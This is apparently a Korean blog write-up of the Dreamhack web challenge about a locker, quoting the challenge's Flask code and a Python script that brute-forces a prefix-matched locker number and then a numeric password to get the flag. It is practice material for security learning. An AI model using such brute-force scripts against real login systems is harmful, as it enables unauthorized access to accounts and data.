드림이를 위해 문제를 풀어보자!
바로 코드를 보면
#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import random
app = Flask(__name__)
try:
FLAG = open("./flag.txt", "r").read() # flag is here!
except:
FLAG = "[**FLAG**]"
rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits
for i in range(4):
rand_str += str(random.choice(alphanumeric))
rand_num = random.randint(100, 200)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
locker_num = request.form.get("locker_num", "")
password = request.form.get("password", "")
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
if locker_num == rand_str and password == str(rand_num):
return render_template("index.html", result = "FLAG:" + FLAG)
return render_template("index.html", result = "Good")
else:
return render_template("index.html", result = "Wrong!")
app.run(host="0.0.0.0", port=8000)
코드는 매우매우 간단하다. locker_num과 password를 POST로 요청 받아 rocker_num과 비밀번호를 구한다. 처음에보고 4중 for문을 돌려야되나 생각했지만 혹시나 풀릴지라도 당연히 문제 의도는 아닐테니 다시 생각했다.
코드를 잘 보면 취약한 부분을 발견할 수 있다.
위 사진은 locker_num을 비교할때의 if문이다. 미리 생성된 사물함 번호를 사용자가 입력한 locker_num의 길이를 토대로 잘라와 비교한다.
즉, 우리가 사물함 번호를 1개만 입력하면 1개만 비교할 수 있다. 따라서 한 개씩 비교를 늘려가면 쉽게 브포를 통해 locker_num을 구할 수 있고 나머지 password를 브포로 구할 수 있다.
import requests
import string
ch = string.ascii_lowercase + string.digits
url = "http://host3.dreamhack.games:23002/"
data = {
"locker_num": "",
"password": ""
}
locker_num = ""
for i in range(4):
for c in ch:
data["locker_num"] = locker_num + c
res = requests.post(url, data=data)
if "Good" in res.text:
locker_num += c
print(locker_num)
for i in range(100, 201):
data["password"] = i
res = requests.post(url, data=data)
if "FLAG" in res.text:
print(res.text)
연습하기에 좋았던 문제같다. 역시 코드를 꼼꼼하게 봐야돼.
'Web Hacking > Dreamhack' 카테고리의 다른 글
[Dreamhack] php-1 write up (0) | 2024.04.07 |
---|---|
[Dreamhack] proxy-1 write up (2) | 2024.04.07 |
[Dreamhack] Type c-j write up (2) | 2024.03.31 |
[Dreamhack] baby-union write up (2) | 2024.03.31 |
[Dreamhack] BypassIF write up (0) | 2024.03.30 |